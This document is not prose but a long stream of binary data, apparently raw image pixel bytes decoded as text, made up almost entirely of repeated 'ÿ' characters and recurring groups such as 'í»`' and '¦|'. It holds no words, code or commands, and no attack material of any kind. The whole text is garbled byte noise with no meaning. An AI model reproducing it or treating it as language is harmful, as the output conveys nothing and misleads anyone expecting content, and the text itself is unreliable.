ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ! ÿ”u<ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿXBÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿŽp:ÿé¸^ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿˆfÿ¦|ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿŽp:ÿé¸^ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ3&ÿœtÿ¦|ÿ¦|ÿ/#ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿŽp:ÿé¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿYBÿ¥|ÿ¦|ÿ¦|ÿ¦|ÿP<ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿŽp:ÿé¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿ ÿ€_ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿqUÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿŽp:ÿé¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿ)ÿ–pÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ’mÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿŽp:ÿé¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿH6ÿ£zÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿŽp:ÿé¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿ ÿqTÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ/#ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿŽp:ÿé¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿ ÿkÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿP<ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿŽp:ÿé¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿ=.ÿ xÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿqUÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿŽp:ÿé¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿeKÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ’mÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿæ¶]ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿˆfÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ˜x>ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿ3&ÿœtÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ/#ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ"ÿé¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿYBÿ¥|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿP<ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ˜x>ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿqUÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ"ÿé¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ“nÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ˜x>ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ"ÿé¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ/#ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ˜x>ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿP<ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ"ÿé¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦